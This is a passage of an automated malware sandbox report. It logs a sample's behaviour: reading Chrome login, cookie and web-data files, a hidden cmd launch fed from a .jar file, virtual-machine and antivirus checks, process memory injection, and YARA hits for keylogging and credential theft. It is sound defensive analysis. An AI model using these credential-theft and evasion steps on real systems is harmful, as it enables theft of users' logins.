NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x76001000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74d31000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74251000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73af1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73b71000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73ae1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73ac1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007d8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6edf1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007dd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x734b1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0521f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Queries the disk size which could be used to detect virtual machine with small fixed size or dynamic allocation (1 event)

Time & API	Arguments	Status	Return	Repeated
GetDiskFreeSpaceExW July 31, 2021, 1:24 p.m.	total_number_of_free_bytes: 0 free_bytes_available: 12311732224 root_path: C:\Users\test22\AppData\Local\Temp\7ZipSfx.000 total_number_of_bytes: 0	1	1	0

Steals private information from local Internet browsers (4 events)

file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local State
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Web Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Cookies

Creates executable files on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\7ZipSfx.000\Scegliendo.exe.com

Creates a suspicious process (1 event)

cmdline

"C:\Windows\System32\cmd.exe" /c cmd < Vedrei.jar

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW July 31, 2021, 1:24 p.m.	show_type: 0 filepath_r: cmd parameters: /c cmd < Vedrei.jar filepath: cmd	1	1	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses July 31, 2021, 1:25 p.m.	flags: 15 family: 0		111	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW July 31, 2021, 1:25 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Potentially malicious URLs were found in the process memory dump (3 events)

url	http://www.microsoft.com/schemas/ie8tldlistdescription/1.0
url	http://purl.org/rss/1.0/
url	http://www.passport.com

Yara rule detected in process memory (32 events)

description	Communication using DGA	rule	Network_DGA
description	Communications use DNS	rule	Network_DNS
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Create a windows service	rule	Create_Service
description	Record Audio	rule	Sniff_Audio
description	Escalate priviledges	rule	Escalate_priviledges
description	Run a KeyLogger	rule	KeyLogger
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Communications over HTTP	rule	Network_HTTP
description	Hijack network configuration	rule	Hijack_Network
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Communications over FTP	rule	Network_FTP
description	Take ScreenShot	rule	ScreenShot
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Steal credential	rule	local_credential_Steal
description	File Downloader	rule	Network_Downloader
description	Communications over P2P network	rule	Network_P2P_Win
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	(no description)	rule	Check_Dlls
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	Install itself for autorun at Windows startup	rule	Persistence

Queries for potentially installed applications (50 out of 53 events)

Time & API	Arguments	Status
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall base_handle: 0x80000002 key_handle: 0x00000284 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: 7-Zip base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: AddressBook base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: Adobe AIR base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: Connection Manager base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: DirectDrawEx base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: EditPlus base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: ePageSafer base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ePageSafer	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: Fontcore base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: Google Chrome base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: Haansoft HWord 80 Korean base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: IE40 base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE40	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: IE4Data base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: IE5BAKEX base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: IEData base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IEData	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: MobileOptionPack base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: Mozilla Thunderbird 78.4.0 (x86 ko) base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko)	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: Office14.PROPLUS base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Office14.PROPLUS	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: SchedulingAgent base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: TouchEn nxKey base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\TouchEn nxKey	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: UnINISafeWeb base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\UnINISafeWeb	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: UnINISafeWeb6 base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\UnINISafeWeb6	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: WIC base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WIC	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: {00203668-8170-44A0-BE44-B632FA4D780F} base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: {01B845D4-B73E-4CF7-A377-94BC7BB4F77B} base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: {1CBD185A-9CB3-4f30-B7E4-75CC551455F9}_is1 base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1CBD185A-9CB3-4f30-B7E4-75CC551455F9}_is1	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: {1D91F7DA-F517-4727-9E62-B7EA978BE980} base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: {1F1C2DFC-2D24-3E06-BCB8-725134ADF989} base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: {26A24AE4-039D-4CA4-87B4-2F32180131F0} base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F32180131F0}	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: {4A03706F-666A-4037-7777-5F2748764D10} base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: {5BEFEB79-2B4D-4EEE-9979-AFDE0A20FADE}_is1 base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{5BEFEB79-2B4D-4EEE-9979-AFDE0A20FADE}_is1	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: {60EC980A-BDA2-4CB6-A427-B07A5498B4CA} base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: {8941A397-4065-4F41-92CE-0EB610846EED}_is1 base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{8941A397-4065-4F41-92CE-0EB610846EED}_is1	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: {90140000-0011-0000-0000-0000000FF1CE} base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0011-0000-0000-0000000FF1CE}	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: {90140000-0015-0412-0000-0000000FF1CE} base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0015-0412-0000-0000000FF1CE}	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: {90140000-0016-0412-0000-0000000FF1CE} base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0016-0412-0000-0000000FF1CE}	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: {90140000-0018-0412-0000-0000000FF1CE} base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0018-0412-0000-0000000FF1CE}	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: {90140000-0019-0412-0000-0000000FF1CE} base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0019-0412-0000-0000000FF1CE}	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: {90140000-001A-0412-0000-0000000FF1CE} base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001A-0412-0000-0000000FF1CE}	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: {90140000-001B-0412-0000-0000000FF1CE} base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001B-0412-0000-0000000FF1CE}	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: {90140000-001F-0409-0000-0000000FF1CE} base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001F-0409-0000-0000000FF1CE}	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: {90140000-001F-0412-0000-0000000FF1CE} base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001F-0412-0000-0000000FF1CE}	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: {90140000-0028-0412-0000-0000000FF1CE} base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0028-0412-0000-0000000FF1CE}	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: {90140000-002C-0412-0000-0000000FF1CE} base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-002C-0412-0000-0000000FF1CE}	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: {90140000-0044-0412-0000-0000000FF1CE} base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0044-0412-0000-0000000FF1CE}	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: {90140000-006E-0412-0000-0000000FF1CE} base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-006E-0412-0000-0000000FF1CE}	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: {90140000-00A1-0412-0000-0000000FF1CE} base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-00A1-0412-0000-0000000FF1CE}	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: {90140000-00BA-0412-0000-0000000FF1CE} base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-00BA-0412-0000-0000000FF1CE}	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: {939659F3-71D2-461F-B24D-91D05A4389B4} base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}	1
RegOpenKeyExW July 31, 2021, 1:25 p.m.	regkey_r: {9B84A461-3B4C-40E2-B44F-CE22E215EE40} base_handle: 0x00000284 key_handle: 0x00000630 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}	1

Uses Windows utilities for basic Windows functionality (1 event)

cmdline

ping test22-PC -n 30

Executes one or more WMI queries which can be used to identify virtual machines (1 event)

wmi	SELECT * FROM Win32_Processor

One or more of the buffers contains an embedded PE file (1 event)

buffer

Buffer with sha1: 19a1ccdafa779f2b03b559a4f28fafb101957997

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 122880 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000c0000 process_handle: 0x00000204	1	0	0

Executes one or more WMI queries (8 events)

wmi	SELECT * FROM Win32_VideoController
wmi	SELECT * FROM AntivirusProduct
wmi	SELECT * FROM Win32_OperatingSystem
wmi	SELECT * FROM Win32_Process Where SessionId='1'
wmi	SELECT * FROM AntiSpyWareProduct
wmi	SELECT * FROM FirewallProduct
wmi	SELECT * FROM Win32_DiskDrive
wmi	SELECT * FROM Win32_Processor

Potential code injection by writing to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory July 31, 2021, 1:25 p.m.	buffer: ÿÿÿÿû~(ü~Pý~mèÿÿ jHâý~± base_address: 0x7efde000 process_identifier: 2728 process_handle: 0x00000204	1	1	0

Collects information about installed applications (40 events)

Time & API	Arguments	Status
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 7-Zip 20.02 alpha regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe AIR regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: EditPlus regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: MarkAny Inc. e-PageSafer V2.5 NoAX ( Basic )_2.5.1.18 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ePageSafer\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Chrome regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Mozilla Thunderbird 78.4.0 (x86 ko) regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko)\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Professional Plus 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Office14.PROPLUS\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: TouchEn nxKey with E2E for 32bit regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\TouchEn nxKey\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: INISafeWeb 5.0 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\UnINISafeWeb\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: INISafeWeb 6.0 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\UnINISafeWeb6\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe AIR regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: HttpWatch Professional 9.3.39 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Delfino G3 (x86) version 3.6.6.5 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1CBD185A-9CB3-4f30-B7E4-75CC551455F9}_is1\DisplayName	1
